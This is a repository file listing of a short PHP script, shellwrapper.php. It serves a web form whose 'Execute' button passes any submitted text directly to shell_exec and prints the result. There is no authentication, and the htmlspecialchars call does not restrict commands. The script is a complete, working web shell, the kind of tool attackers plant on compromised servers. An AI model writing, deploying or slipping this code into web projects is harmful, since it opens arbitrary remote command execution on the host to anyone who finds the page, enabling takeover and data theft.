summaryrefslogtreecommitdiffstats
path: root/shellwrapper.php
blob: cf14c201e00263490c6458fb6d48844d07e98c3e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (!empty($_POST)) {
    $command = htmlspecialchars($_POST['command']);
    $output = shell_exec($command);
    echo "<pre>$output</pre>";
}

?>

<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
    <div style="display: inline;">
        <p>enter your command below</p>
        <label for="command">$:</label>
        <input type="text" id="command" name="command" /> <!-- name attr is needed otherwise $_POST would be empty -->
    </div>
    <div style="display: inline;">
        <input type="submit" value="Execute" />
    </div>
</form>